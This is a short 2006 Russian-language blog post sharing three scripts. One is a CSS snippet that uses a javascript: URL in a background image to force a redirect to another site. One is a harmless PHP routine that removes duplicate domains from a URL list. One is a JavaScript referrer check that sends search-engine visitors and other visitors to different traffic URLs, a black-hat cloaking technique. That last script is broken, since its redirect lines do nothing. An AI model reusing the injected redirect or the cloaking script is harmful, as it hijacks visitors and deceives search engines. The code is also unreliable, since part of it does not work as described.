2006/10/30

Несколько скриптов

Редирект через картинку
<span style="background-image: url('javascript:location.href=\'http://google.com\';')">sd</span>

Удаляет дубликаты доменов в списке урлов, обязательно наличие префикса http://
<?
error_reporting(E_ALL);
set_time_limit(0);
ignore_user_abort(1);
$uri=file("url.txt");
for ($a=0;$a<count($uri);$a++){
$uri[$a]=trim($uri[$a]);
if (!$uri[$a]) continue;
$parse=parse_url($uri[$a]);
if (@!isset ($parse['host'])) echo $a;
$URI=$parse['host'];
if (!@in_array($URI,$new)) {
$new[]=$URI;
$new_uri[]=$uri[$a];
}
}
$new=implode("\n",$new_uri);
$f=fopen("url.txt","w+ t");
fwrite($f,$new);
fclose($f);
?>


Cкрипт фильтрации поискового трафа
<script>
var ref,i,is_se=0;
var se = new Array('google','msn','yahoo','yandex','rambler','aport','mail','km.ru','meta','all.by', 'tut.by','online.ua','nigma');
if(document.referrer)ref=document.referrer;
else ref="";
for(i=0;i<13;i++)
{if(ref.indexOf(se[i])>=0){is_se=1;http://good.traf.com;}}
if(is_se==0){http://bad.traf.com;}
</script>

No comments: